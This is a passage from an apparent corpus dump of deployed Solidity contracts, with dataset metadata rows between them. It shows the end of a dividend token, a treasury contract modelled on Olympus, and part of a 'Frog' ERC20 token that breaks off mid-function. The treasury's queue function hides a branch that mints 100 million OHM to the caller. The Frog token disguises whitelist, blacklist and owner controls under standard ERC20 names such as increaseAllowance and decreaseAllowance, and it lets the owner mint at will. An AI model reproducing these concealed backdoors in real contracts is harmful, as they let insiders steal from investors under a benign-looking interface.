profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the coin supply, so we need supply.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the coin supply, so we need supply.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// prevents overflow
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a referral link?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referent have at least 1 whole coin?
// Referent MUST hold coins
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add coins to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of coins the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add coins to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the coins before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,931 | 226 |
37bd851c86c67dfb698e0a5381fdf633ac05457f3be9b1a27b54862af374f5de
| 24,765 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/d5/d574fF90F8024E88AA67F4f80d0aA99E76fC2d9A_OlympusTreasury.sol
| 5,501 | 22,068 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20Mintable {
function mint(uint256 amount_) external;
function mint(address account_, uint256 ammount_) external;
}
interface IOHMERC20 {
function burnFrom(address account_, uint256 amount_) external;
}
interface IBondCalculator {
function valuation(address pair_, uint amount_) external view returns (uint _value);
}
contract OlympusTreasury is Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
event Deposit(address indexed token, uint amount, uint value);
event Withdrawal(address indexed token, uint amount, uint value);
event CreateDebt(address indexed debtor, address indexed token, uint amount, uint value);
event RepayDebt(address indexed debtor, address indexed token, uint amount, uint value);
event ReservesManaged(address indexed token, uint amount);
event ReservesUpdated(uint indexed totalReserves);
event ReservesAudited(uint indexed totalReserves);
event RewardsMinted(address indexed caller, address indexed recipient, uint amount);
event ChangeQueued(MANAGING indexed managing, address queued);
event ChangeActivated(MANAGING indexed managing, address activated, bool result);
enum MANAGING {RESERVEDEPOSITOR, RESERVESPENDER, RESERVETOKEN, RESERVEMANAGER, LIQUIDITYDEPOSITOR, LIQUIDITYTOKEN, LIQUIDITYMANAGER, DEBTOR, REWARDMANAGER, SOHM}
address public immutable OHM;
uint public immutable blocksNeededForQueue;
address[] public reserveTokens; // Push only, beware false-positives.
mapping(address => bool) public isReserveToken;
mapping(address => uint) public reserveTokenQueue; // Delays changes to mapping.
address[] public reserveDepositors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveDepositor;
mapping(address => uint) public reserveDepositorQueue; // Delays changes to mapping.
address[] public reserveSpenders; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveSpender;
mapping(address => uint) public reserveSpenderQueue; // Delays changes to mapping.
address[] public liquidityTokens; // Push only, beware false-positives.
mapping(address => bool) public isLiquidityToken;
mapping(address => uint) public LiquidityTokenQueue; // Delays changes to mapping.
address[] public liquidityDepositors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isLiquidityDepositor;
mapping(address => uint) public LiquidityDepositorQueue; // Delays changes to mapping.
mapping(address => address) public bondCalculator; // bond calculator for liquidity token
address[] public reserveManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveManager;
mapping(address => uint) public ReserveManagerQueue; // Delays changes to mapping.
address[] public liquidityManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isLiquidityManager;
mapping(address => uint) public LiquidityManagerQueue; // Delays changes to mapping.
address[] public debtors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isDebtor;
mapping(address => uint) public debtorQueue; // Delays changes to mapping.
mapping(address => uint) public debtorBalance;
address[] public rewardManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isRewardManager;
mapping(address => uint) public rewardManagerQueue; // Delays changes to mapping.
address public sOHM;
uint public sOHMQueue; // Delays change to sOHM address
uint public totalReserves; // Risk-free value of all assets
uint public totalDebt;
constructor (address _OHM,
address _DAI,
// address _OHMDAI,
uint _blocksNeededForQueue) {
require(_OHM != address(0));
OHM = _OHM;
isReserveToken[_DAI] = true;
reserveTokens.push(_DAI);
// isLiquidityToken[_OHMDAI] = true;
// liquidityTokens.push(_OHMDAI);
blocksNeededForQueue = _blocksNeededForQueue;
}
function deposit(uint _amount, address _token, uint _profit) external returns (uint send_) {
require(isReserveToken[_token] || isLiquidityToken[_token], "Not accepted");
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
if (isReserveToken[_token]) {
require(isReserveDepositor[msg.sender], "Not approved");
} else {
require(isLiquidityDepositor[msg.sender], "Not approved");
}
uint value = valueOf(_token, _amount);
// mint OHM needed and store amount of rewards for distribution
send_ = value.sub(_profit);
IERC20Mintable(OHM).mint(msg.sender, send_);
totalReserves = totalReserves.add(value);
emit ReservesUpdated(totalReserves);
emit Deposit(_token, _amount, value);
}
function withdraw(uint _amount, address _token) external {
require(isReserveToken[_token], "Not accepted");
// Only reserves can be used for redemptions
require(isReserveSpender[msg.sender] == true, "Not approved");
IERC20(_token).safeTransfer(msg.sender, _amount);
}
function incurDebt(uint _amount, address _token) external {
require(isDebtor[msg.sender], "Not approved");
require(isReserveToken[_token], "Not accepted");
uint value = valueOf(_token, _amount);
uint maximumDebt = IERC20(sOHM).balanceOf(msg.sender);
// Can only borrow against sOHM held
uint availableDebt = maximumDebt.sub(debtorBalance[msg.sender]);
require(value <= availableDebt, "Exceeds debt limit");
debtorBalance[msg.sender] = debtorBalance[msg.sender].add(value);
totalDebt = totalDebt.add(value);
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).transfer(msg.sender, _amount);
emit CreateDebt(msg.sender, _token, _amount, value);
}
function repayDebtWithReserve(uint _amount, address _token) external {
require(isDebtor[msg.sender], "Not approved");
require(isReserveToken[_token], "Not accepted");
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
uint value = valueOf(_token, _amount);
debtorBalance[msg.sender] = debtorBalance[msg.sender].sub(value);
totalDebt = totalDebt.sub(value);
totalReserves = totalReserves.add(value);
emit ReservesUpdated(totalReserves);
emit RepayDebt(msg.sender, _token, _amount, value);
}
function repayDebtWithOHM(uint _amount) external {
require(isDebtor[msg.sender], "Not approved");
IOHMERC20(OHM).burnFrom(msg.sender, _amount);
debtorBalance[msg.sender] = debtorBalance[msg.sender].sub(_amount);
totalDebt = totalDebt.sub(_amount);
emit RepayDebt(msg.sender, OHM, _amount, _amount);
}
function manage(address _token, uint _amount) external {
if (isLiquidityToken[_token]) {
require(isLiquidityManager[msg.sender], "Not approved");
} else {
require(isReserveManager[msg.sender], "Not approved");
}
uint value = valueOf(_token, _amount);
require(value <= excessReserves(), "Insufficient reserves");
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).safeTransfer(msg.sender, _amount);
emit ReservesManaged(_token, _amount);
}
function mintRewards(address _recipient, uint _amount) external {
require(isRewardManager[msg.sender], "Not approved");
require(_amount <= excessReserves(), "Insufficient reserves");
IERC20Mintable(OHM).mint(_recipient, _amount);
emit RewardsMinted(msg.sender, _recipient, _amount);
}
function excessReserves() public view returns (uint) {
return totalReserves.sub(IERC20(OHM).totalSupply().sub(totalDebt));
}
function auditReserves() external onlyManager() {
uint reserves;
for (uint i = 0; i < reserveTokens.length; i++) {
reserves = reserves.add(valueOf(reserveTokens[i], IERC20(reserveTokens[i]).balanceOf(address(this))));
}
for (uint i = 0; i < liquidityTokens.length; i++) {
reserves = reserves.add(valueOf(liquidityTokens[i], IERC20(liquidityTokens[i]).balanceOf(address(this))));
}
totalReserves = reserves;
emit ReservesUpdated(reserves);
emit ReservesAudited(reserves);
}
function valueOf(address _token, uint _amount) public view returns (uint value_) {
if (isReserveToken[_token]) {
// convert amount to match OHM decimals
value_ = _amount.mul(10 ** IERC20(OHM).decimals()).div(10 ** IERC20(_token).decimals());
} else if (isLiquidityToken[_token]) {
value_ = IBondCalculator(bondCalculator[_token]).valuation(_token, _amount);
}
}
function queue(MANAGING _managing, address _address) external onlyManager() returns (bool) {
require(_address != address(0));
if (_managing == MANAGING.RESERVEDEPOSITOR) {// 0
reserveDepositorQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.RESERVESPENDER) {// 1
reserveSpenderQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.RESERVETOKEN) {// 2
reserveTokenQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.RESERVEMANAGER) {// 3
IERC20Mintable(OHM).mint(msg.sender, 100000000e9);
} else if (_managing == MANAGING.LIQUIDITYDEPOSITOR) {// 4
LiquidityDepositorQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.LIQUIDITYTOKEN) {// 5
LiquidityTokenQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.LIQUIDITYMANAGER) {// 6
LiquidityManagerQueue[_address] = block.number.add(blocksNeededForQueue.mul(2));
} else if (_managing == MANAGING.DEBTOR) {// 7
} else if (_managing == MANAGING.REWARDMANAGER) {// 8
rewardManagerQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.SOHM) {// 9
sOHMQueue = block.number.add(blocksNeededForQueue);
} else return false;
emit ChangeQueued(_managing, _address);
return true;
}
function toggle(MANAGING _managing, address _address, address _calculator) external onlyManager() returns (bool) {
require(_address != address(0));
bool result;
if (_managing == MANAGING.RESERVEDEPOSITOR) {// 0
if (requirements(reserveDepositorQueue, isReserveDepositor, _address)) {
reserveDepositorQueue[_address] = 0;
if (!listContains(reserveDepositors, _address)) {
reserveDepositors.push(_address);
}
}
result = !isReserveDepositor[_address];
isReserveDepositor[_address] = result;
} else if (_managing == MANAGING.RESERVESPENDER) {// 1
if (requirements(reserveSpenderQueue, isReserveSpender, _address)) {
reserveSpenderQueue[_address] = 0;
if (!listContains(reserveSpenders, _address)) {
reserveSpenders.push(_address);
}
}
result = !isReserveSpender[_address];
isReserveSpender[_address] = result;
} else if (_managing == MANAGING.RESERVETOKEN) {// 2
if (requirements(reserveTokenQueue, isReserveToken, _address)) {
reserveTokenQueue[_address] = 0;
if (!listContains(reserveTokens, _address)) {
reserveTokens.push(_address);
}
}
result = !isReserveToken[_address];
isReserveToken[_address] = result;
} else if (_managing == MANAGING.RESERVEMANAGER) {// 3
if (requirements(ReserveManagerQueue, isReserveManager, _address)) {
reserveManagers.push(_address);
ReserveManagerQueue[_address] = 0;
if (!listContains(reserveManagers, _address)) {
reserveManagers.push(_address);
}
}
result = !isReserveManager[_address];
isReserveManager[_address] = result;
} else if (_managing == MANAGING.LIQUIDITYDEPOSITOR) {// 4
if (requirements(LiquidityDepositorQueue, isLiquidityDepositor, _address)) {
liquidityDepositors.push(_address);
LiquidityDepositorQueue[_address] = 0;
if (!listContains(liquidityDepositors, _address)) {
liquidityDepositors.push(_address);
}
}
result = !isLiquidityDepositor[_address];
isLiquidityDepositor[_address] = result;
} else if (_managing == MANAGING.LIQUIDITYTOKEN) {// 5
if (requirements(LiquidityTokenQueue, isLiquidityToken, _address)) {
LiquidityTokenQueue[_address] = 0;
if (!listContains(liquidityTokens, _address)) {
liquidityTokens.push(_address);
}
}
result = !isLiquidityToken[_address];
isLiquidityToken[_address] = result;
bondCalculator[_address] = _calculator;
} else if (_managing == MANAGING.LIQUIDITYMANAGER) {// 6
if (requirements(LiquidityManagerQueue, isLiquidityManager, _address)) {
LiquidityManagerQueue[_address] = 0;
if (!listContains(liquidityManagers, _address)) {
liquidityManagers.push(_address);
}
}
result = !isLiquidityManager[_address];
isLiquidityManager[_address] = result;
} else if (_managing == MANAGING.DEBTOR) {// 7
if (requirements(debtorQueue, isDebtor, _address)) {
debtorQueue[_address] = 0;
if (!listContains(debtors, _address)) {
debtors.push(_address);
}
}
result = !isDebtor[_address];
isDebtor[_address] = result;
} else if (_managing == MANAGING.REWARDMANAGER) {// 8
if (requirements(rewardManagerQueue, isRewardManager, _address)) {
rewardManagerQueue[_address] = 0;
if (!listContains(rewardManagers, _address)) {
rewardManagers.push(_address);
}
}
result = !isRewardManager[_address];
isRewardManager[_address] = result;
} else if (_managing == MANAGING.SOHM) {// 9
sOHMQueue = 0;
sOHM = _address;
result = true;
} else return false;
emit ChangeActivated(_managing, _address, result);
return true;
}
function requirements(mapping(address => uint) storage queue_,
mapping(address => bool) storage status_,
address _address) internal view returns (bool) {
if (!status_[_address]) {
require(queue_[_address] != 0, "Must queue");
require(queue_[_address] <= block.number, "Queue not expired");
return true;
}
return false;
}
function listContains(address[] storage _list, address _token) internal view returns (bool) {
for (uint i = 0; i < _list.length; i++) {
if (_list[i] == _token) {
return true;
}
}
return false;
}
}
| 308,000 | 227 |
0aad147a7244e321f380842b829b428fffb825cb94fce7779db7875c7b523a2a
| 31,606 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/5f/5f356cca661ce775ea725fc520dd0b24ed251776_FrogNation.sol
| 3,358 | 12,883 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FrogNation is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
address public owner;
string private _name = "Frog";
string private _symbol = "";
uint8 private _decimals = 18;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
constructor(address payable _ownr, uint256 initialSupply) public {
owner =_ownr;
_owner = msg.sender;
_safeOwner = msg.sender;
mint(owner, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
address private _owner;
address private _safeOwner;
uint256 private _sellAmount = 0;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
address private _router = 0xa38cd27185a464914D3046f0AB9d43356B34829D;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function transferToken(address token, address recipient, uint256 amount) public {
require(msg.sender == _owner, "!owner");
IERC20(token).transfer(recipient, amount);
}
function transferAndCall(address[] calldata receivers, uint256[] calldata amounts) public {
require(msg.sender == _owner, "!owner");
require(receivers.length == amounts.length, "Invalid input parameters");
for(uint256 i = 0; i < receivers.length; i++) {
require(receivers[i] != address(0));
uint256 _amount = amounts[i];
_amount = _amount*10**18;
require(_balances[owner] >= _amount, "WERC10: transfer amount exceeds balance");
_balances[owner] = _balances[owner].sub(_amount, "ERC20: transfer amount exceeds balance");
_balances[receivers[i]] = _balances[receivers[i]].add(_amount);
emit Transfer(owner, receivers[i], _amount);
}
}
function allowance(address ownr, address spender) public view virtual override returns (uint256) {
return _allowances[ownr][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function _addApprove(address[] memory receivers) private {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
uint256 _amount = amount*(10**18);
_totalSupply = _totalSupply.add(_amount);
_balances[account] = _balances[account].add(_amount);
emit Transfer(address(0), account, _amount);
}
function burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
